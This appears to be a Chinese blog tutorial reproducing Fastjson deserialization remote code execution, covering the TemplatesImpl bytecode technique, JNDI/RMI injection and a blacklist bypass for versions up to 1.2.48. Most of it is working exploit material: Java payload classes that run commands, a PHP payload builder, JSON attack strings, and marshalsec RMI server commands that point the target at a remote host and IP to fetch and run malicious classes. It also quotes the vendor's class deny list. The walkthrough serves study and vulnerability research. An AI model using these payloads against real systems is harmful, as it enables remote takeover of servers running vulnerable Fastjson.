重要漏洞利用poc及版本

我是从github上的参考中直接copy的exp,这个类就是要注入的类

import java.lang.Runtime;
import java.lang.Process; public class Exploit { public Exploit() {
try{
// 要执行的命令
String commands = "calc.exe";
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
} } public static void main(String[] argv) {
Exploit e = new Exploit();
} }
网上经常分析的17年的一个远程代码执行漏洞

适用范围 版本 <= 1.2.24

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi:/ip:port/Exploit","autoCommit":true}
FastJson最新爆出的绕过方法

适用范围 版本 <= 1.2.48

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:port/Exploit","autoCommit":true}}";

预备知识

使用spring boot来搭建本次的环境,这样对java的版本和fastjson版本的修改十分的轻松,选取的依赖如下

使用的是fastjson 1.2.24版本

写一个像javabean一样作用的类

这里直接用参考的一篇freebuf上的代码了,作用很简单,设置了age,username的设置和读取,secret的读取

package com.fastjson.demo;

class Demo2User {
private int age;
public String username;
private String secret;
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getSecret() {
return secret;
}
@Override
public String toString() {
return this.age + "," + this.username + "," + this.secret;
}
}
fastjson的工作形式

fastjson的功能就是将json格式转换为类、字符串等供下一步代码的调用,或者将类、字符串等数据转换成json数据进行传输,有点类似序列化的操作

首先介绍下序列化操作和反序列化操作需要的函数

函数 作用
JSON.toJSONString(Object) 将对象序列化成json格式
JSON.toJSONString(Object,SerializerFeature.WriteClassName) 将对象序列化成json格式,并且记录了对象所属的类的信息
JSON.parse(Json) 将json格式返回为对象(但是反序列化类对象没有@Type时会报错)
JSON.parseObject(Json) 返回对象是com.alibaba.fastjson.JSONObject类
JSON.parseObject(Json, Object.class) 返回对象会根据json中的@Type来决定
JSON.parseObject(Json, User.class, Feature.SupportNonPublicField); 会把Json数据对应的类中的私有成员也给还原

对应测试的例子,代码如下

public class Demo2test1 {
public static void main(String[] args){
Demo2User demo2User = new Demo2User();
demo2User.setAge(10);
demo2User.setUsername("sijidou");
String ser1 = JSON.toJSONString(demo2User);
System.out.println(ser1);
String ser2 = JSON.toJSONString(demo2User, SerializerFeature.WriteClassName);
System.out.println(ser2);
System.out.println("==========完美的分割线============");
Demo2User demo2User1 = (Demo2User) JSON.parse(ser2);
System.out.println(demo2User1);
Object demo2User2 = JSON.parseObject(ser2);
System.out.println(demo2User2.getClass().getName());
Object demo2User3 = JSON.parseObject(ser2, Object.class);
System.out.println(demo2User3);
Object demo2User4 = JSON.parseObject(ser2,Object.class, Feature.SupportNonPublicField);
System.out.println(demo2User4);
}
}

可以从上面简单的函数介绍中看出,对于序列化成json格式,用JSON.toJSONString(Object,SerializerFeature.WriteMapNullValue)更加方便

而从json反序列回来,一般用JSON.parseObject()来实现

漏洞利用

对于 fastjson版本 <= 1.2.24的情况,利用思路主要有2种

  • 通过触发点JSON.parseObject()这个函数,将json中的类设置成com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl并通过特意构造达到命令执行
  • 通过JNDI注入

利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

TemplatesImpl类,而这个类有一个字段就是_bytecodes,有部分函数会根据这个_bytecodes生成java实例,这就达到fastjson通过字段传入一个类,再通过这个类被生成时执行构造函数。

首选准备好poc,也就是之后会装到_bytecodes里面的内容,本地测试是windows系统,所以直接弹计算器,用java运行一下,就会生成poc.class文件

package com.fastjson.demo;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class poc extends AbstractTranslet { public poc() throws IOException {
Runtime.getRuntime().exec("calc.exe");
} @Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
} @Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException { } public static void main(String[] args) throws Exception {
poc t = new poc();
}
}

拿到这个文件,将其内容进行base64编码,我拿vulhub上用php写的exploit.php改了改

<?php
$bytes = file_get_contents('poc.class');
$json = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["'.base64_encode($bytes).'"],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}';
echo $json;

同目录下运行

准备下接受的代码,我从vulhub上的fastjson项目进行修改的,使代码更加简洁,逻辑很简单从post的body中的数据进行fastjson的序列化

public class Demo3{
public void init()
{
get("/", (req, res) -> "Hello World");
post("/", (request, response) -> {
String data = request.body();
JSONObject obj = JSON.parseObject(data, Feature.SupportNonPublicField);
return "122";
});
} public static void main(String[] args)
{
Demo3 i = new Demo3();
i.init();
}
}

运行下能够成功触发计算器

漏洞分析

debug跟踪下堆栈看看发生了什么

最先肯定是传入点JSON.parseObject(data, Feature.SupportNonPublicField);接口,这个漏洞利用方法必须要存在Feature.SupportNonPublicField设置(即允许private对象传入)

接下来会到JSON类中,发现JSON.parseObject()其实是调用了JSON.parse()

下一步会进到这个函数里,是对可控长度变量的分析,这里也就是Feature.SupportNonPublicField的开启识别

调用parse(String text, int features),继续执行parser.parse()接口

之后进入DeafultJSONParser.java通过switch判断,进入到LBRACE中

继续跟进会调用deserializer.deserialze(this, clazz, fieldName)

进入了JavaBeanDeserializer.java中,这段主要是进行反序列化操作了

之后会进入到DefaultFieldDeserializer.java中调用setValue来设置参数了

设置参数是会调用FieldDeserializer.java中的setValue,已经可以看到Method方法,标志着这里触发反射

前面的参数会不满足if(method != null)的判断,到outputProperties的时候,因为它是个类,存在method,于是进入if分支

最终到了触发点,invoke

单步跟踪2次,是对_bytecodes中的base64,对应的.class文件中的类进行还原,然后触发构造函数中的代码执行,触发计算器

这里单步跟踪2次时候没有任何反应,之后发现是没对com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类没进行下载,并且没有进行下断点.....

那么在这个点继续跟进,首先仔细看上面反射调用的方法com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()

进TemplatesImpl类里面对getOutputProperties()下断点

继续跟踪newTransformer()方法,看名字就是新生成一个Transformer

在第486行调用了getTransletInstance()方法,之后进入getTransletInstance()方法中

因为我们精心构造的exp里面没有__class成员变量,所以会触发defineTransletClasses()方法,跟进

进入后是对 _bytecodes字段进行base64解码后还原这个class,之后就出来回到了getTransletInstance()

可以看到455行的translet被赋值成class.com.fastjson.demo.poc也就是我们构造的的poc类,在456行进行初始化的时候,触发代码执行

通过jndi注入

jndi是一个Java命令和目录接口,举个例子,通过jndi进行数据库操作,无需知道它数据库是mysql还是ssql,还是MongoDB等,它会自动识别。

当然rmi也可以通过jndi实现,rmi的作用相当于在服务器上创建了类的仓库的api,客户端只用带着参数去请求,服务器进行一系列处理后,把运算后的参数还回来。

这里漏洞利用要明确思路:

攻击者在本地启一个rmi的服务器,上面挂上恶意的payload

让被攻击的目标反序列化特定的类,这个类最终会调用lookup()函数,导致jndi接口指向我们的rmi服务器上的恶意payload

利用方法

在本地挂上恶意代码执行的类,本地复现到了实际中又因为要公网ip所以要重新部署,所以我这里就直接把恶意的Exp和rmi服务器都放在vps上了

准备Exp

import java.lang.Runtime;
import java.lang.Process; public class Exp { public Exp() {
try{
// 要执行的命令
String commands = "calc";
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
} } public static void main(String[] argv) {
Exp e = new Exp();
} }

编译一下

javac Exp.java

在本地启动rmi服务器,这里推荐github上的一个项目marshalsec

https://github.com/mbechler/marshalsec

需要用maven进行生成jar包,进入marshalsec目录后

git clone https://github.com/mbechler/marshalsec.git
cd marshalse
mvn clean package -Dmaven.test.skip=true

之后使用过的是这个包,可以移动到仍意目录都可以

接下来就是启动rmi服务器了,这里要做2个步骤

第一使用python的SimpleHTTPServer模块在刚刚编译好的Exp.class目录下开一个web服务

python -m SimpleHTTPServer 8000

访问下网页是能看到的

之后利用marshalsec,启动rmi服务,再开一个shell

 java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer  http://mi0.xyz:8000/#Exp

万事已经准备好了,接下来只要在被攻击的目标(这里是本机)发送python进JSON.parse()就会触发

import com.alibaba.fastjson.JSON;

public class poc {
public static void main(String[] args) throws Exception {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://134.175.147.161:1099/Exp\",\"autoCommit\":true}";
JSON.parse(payload);
}
}

成功弹出计算器

之前一直尝试不成功,改了下jre的版本为1.8_102能够触发

1.2.25之后修复方案

在1.2.25之后,在ParserConfig.java中添加了public Class<?> checkAutoType(String typeName, Class<?> expectClass)过滤的函数

注意其中的这一段,如果类的名字开头在deny名单里面,就直接抛出错误了

看看denyList的名单

 private String[] denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");

最新fastjson绕过黑名单REC

  • 此次漏洞危害范围是fastjson <= 1.2.48

vps上的准备方法和上面讲到的jndi注入是一样的,唯一的区别在于发送的payload不同,以下payload可以绕过黑名单校验

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:port/Exploit","autoCommit":true}}";

实现原理是利将JdbcRowSetImpl类加入到mappings的缓存,在JdbcRowSetImpl类进入黑名单过滤之前,fastjson会先看缓存里面有没有这个类,有的话,就直接返回了。也就是没有走进黑名单过滤,就结束了check

我们把上面的payload发送到fastjson 1.2.25版本中,走到了checkAutoType()的位置

进入函数,很明显java.lang.Class不在黑名单内

顺利通过

接下来会加载java.lang.Class类

跟进之后,在这里把JdbcRowSetImpl类付给了objVal变量

在这里将刚刚objVal的值赋值给了strVal

接下来调用了loadClass

跟进loadClass,首先查看JdbcRowSetImpl类是不是在mappings中

这里当然是不在的,因此把JdbcRowSetImpl类加入到该mappings中

之后在回到对JdbcRowSetImpl类的检验地方了

跟进进入,到这里会根据类名从mapping中取出对象,很明显,刚刚是把JdbcRowSetImpl类是加入到mappings中的,因此是可以取出来

之后会根据取出的值是否为null进行判断,通过下图,已经看到在黑名单前,就返回了

之后可以看到类JdbcRowSetImpl已经过了该限制了

打一波,成功触发

参考链接

https://www.freebuf.com/vuls/178012.html

https://www.cnblogs.com/mrchang/p/6789060.html

https://www.cnblogs.com/hac425/p/9800288.html

https://xz.aliyun.com/t/5680

https://www.jianshu.com/p/2bc43d16a3a6

https://github.com/JoyChou93/java-sec-code/wiki/Fastjson

https://cloud.tencent.com/developer/article/1468779

fastjson反序列化漏洞原理及利用的更多相关文章

  1. fastjson反序列化漏洞实际案例利用

    fastjson反序列化rce实际案例利用全过程: 存在问题网站:http://***.com/ 在网站上寻找一些安全漏洞的时候,发现一条json数据包 数据包如下: POST /*** HTTP/1 ...

  2. Fastjson反序列化漏洞概述

    Fastjson反序列化漏洞概述 ​ 背景 在推动Fastjson组件升级的过程中遇到一些问题,为帮助业务同学理解漏洞危害,下文将从整体上对其漏洞原理及利用方式做归纳总结,主要是一些概述性和原理上的东 ...

  3. Fastjson反序列化漏洞复现

    Fastjson反序列化漏洞复现 0x00 前言 对Fastjson反序列化漏洞进行复现. 0x01 漏洞环境 靶机环境:vulhub-fastjson-1.2.24 ip:172.16.10.18 ...

  4. Java安全之Fastjson反序列化漏洞分析

    Java安全之Fastjson反序列化漏洞分析 首发:先知论坛 0x00 前言 在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础.利于后面的漏洞分析. 0x01 Fas ...

  5. Fastjson反序列化漏洞分析 1.2.22-1.2.24

    Fastjson反序列化漏洞分析 1.2.22-1.2.24 Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两 ...

  6. fastjson反序列化漏洞研究(上)

    前言 最近护网期间,又听说fastjson传出“0day”,但网上并没有预警,在github上fastjson库中也有人提问关于fastjson反序列化漏洞的详情.也有人说是可能出现了新的绕过方式.不 ...

  7. Fastjson反序列化漏洞基础

    Fastjson反序列化漏洞基础 FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象. 0x0 ...

  8. FastJson反序列化漏洞利用的三个细节 - TemplatesImpl的利用链

    0. 前言 记录在FastJson反序列化RCE漏洞分析和利用时的一些细节问题. 1. TemplatesImpl的利用链 关于 parse 和 parseObject FastJson中的 pars ...

  9. fastjson 反序列化漏洞利用总结

    比赛遇到了,一直没利用成功,这里做个记录. 环境搭建 首先用 vulhub 搭建 fastjson 的漏洞环境. 漏洞环境程序的逻辑为接收 body 的数据然后用 fastjson 解析. 漏洞利用 ...

随机推荐

  1. 百度网盘下载器:SpeedPan2.3.8

    SpeedPan是款百度网盘资源下载工具,下载速度还行(至少比百度网盘快太多了),支持登录百度账号,也支持免登录下载.官网免费版的取消分享了,我从油管上看到了这个软件,分享给大家. 天翼云:https ...

  2. 小心使用 Task.Run 解惑篇

    继上一篇文章之后,这篇文章主要解答以下两个疑惑: 由于值类型是拷贝的方式赋值,所以捕获的本地变量和类成员是指向的是各自的值,对本地变量的捕获不会影响到整个类.但如果把 _id 改为引用类型(如 Str ...

  3. Scrum 冲刺 第三篇

    Scrum 冲刺 第三篇 每日会议照片 昨天已完成工作 队员 昨日完成任务 黄梓浩 继续完成app项目架构搭建 黄清山 完成部分个人界面模块数据库的接口 邓富荣 完成部分后台首页模块数据库的接口 钟俊 ...

  4. TMOOC 1969 开锁

    update on 2020.2.28 时隔近日重新想这道题,其实复杂度正确的解法是 可持久化 01 Trie. 考虑对于每一个 \(a[i]\),考虑能将它作为最大值的最大包容区间 \([l, r] ...

  5. CSP-S2020初赛游记

    前一星期 感觉没怎么复习初赛啊,经常旷初赛练习赛--整天刷复赛题被老师怒斥了. zhoukangyang 天天做初赛(但是一天还是稳定做 \(2\) 道黑题),是不是要 AK 了啊(慌... 前一天 ...

  6. Codeforces Edu Round 57 A-D

    A. Find Divisible 符合条件的区间一定可以选择\(l, l * 2\). 证明\(l * 2 <= r\) 假设存在一组解,\(x, x * d (l <= x <= ...

  7. SnowFlakeldWorker

    SnowFlakeldWorker java /** * Twitter_Snowflake * SnowFlake的结构如下(每部分用-分开): * 0 - 0000000000 000000000 ...

  8. Python之re正则

    1. 基本规则 # 元字符: # . ^ $ * + ? { } [ ] | ( ) \ # 字符类型匹配: # . 表示匹配任意一个字符(换行符除外) # [asdf] 表示匹配中括号里面的任意一个 ...

  9. Python 学习笔记 之 02 - 高级特性总结

    切片 语法:  li.[x:y:z]  li为list.tuple等数据类型,x为开始进行切片的位置,y为切片停止的位置(不包含y),z为xy切片后的结果里,每间隔z个元素输出一次结果.  x默认为0 ...

  10. [OI笔记]NOIP2017前(退役前)模拟赛的总结

    好久没写blog了- 在noip2017前的最后几天,也就是在我可能将要AFO的前几天写点东西吧- 记录这最后几个月打的那些大大小小的模拟赛 一些比赛由于不允许公开所以就没有贴链接跟题面了- 2017 ...